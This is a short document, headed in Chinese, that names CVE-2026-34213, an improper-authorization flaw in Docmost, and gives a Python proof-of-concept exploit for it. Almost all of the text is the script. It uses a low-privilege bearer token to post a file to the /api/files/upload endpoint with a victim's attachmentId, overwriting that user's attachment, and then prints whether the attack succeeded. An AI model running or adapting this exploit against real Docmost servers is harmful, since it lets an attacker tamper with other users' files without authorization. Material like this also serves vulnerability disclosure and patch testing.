CVE-2026-34213 Docmost权限不当漏洞致附件覆盖

import requests # Exploit for CVE-2026-34213: Docmost Improper Authorization # This script demonstrates how a low-privileged user can overwrite attachments. TARGET_URL = "http://localhost:3000" ATTACKER_TOKEN = "low_privilege_token_here" VICTIM_ATTACHMENT_ID = "target_uuid_here" # Target endpoint endpoint = f"{TARGET_URL}/api/files/upload" # Headers simulating a low-privileged authenticated user headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Accept": "application/json" } # The exploitation payload: uploading a new file but forcing the victim's ID files = { 'file': ('exploit_payload.txt', b'This content has been overwritten by an attacker.', 'text/plain') } data = { 'attachmentId': VICTIM_ATTACHMENT_ID # The vulnerable parameter } try: response = requests.post(endpoint, headers=headers, files=files, data=data) if response.status_code == 200: print("[+] Success: Attachment overwritten.") else: print(f"[-] Failed: HTTP {response.status_code}") except Exception as e: print(f"[!] Error: {e}")